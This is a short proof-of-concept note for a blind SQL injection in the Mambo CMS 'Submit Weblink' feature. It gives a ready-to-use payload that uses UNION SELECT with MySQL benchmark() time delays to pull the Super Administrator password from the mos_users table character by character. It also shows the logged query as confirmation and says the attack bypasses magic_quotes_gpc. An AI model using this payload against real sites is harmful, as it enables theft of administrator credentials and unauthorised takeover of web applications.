/*
explaination:
sql injection in "title" argument when you submit a web link, poc:
start mysql daemon with log option...
>mysqld --log=mambo.txt
now login, go to "Submit Weblink" feature, in "Name: " field type:
99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(200000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super Administrator'/*
in mambo.txt we have:
13 Query SELECT id FROM mos_weblinks
WHERE title='99999' UNION SELECT IF ((ASCII(SUBSTRING(password,1,1))=0) & 1, benchmark(50000000,CHAR(0)),0) FROM mos_users WHERE usertype='Super Administrator'/*' AND catid='2'
injection is blind but, as you can see, we can you use time delays through Mysql
benchmark() function to ask questions about tables
this works regardless of magic_quotes_gpc settings
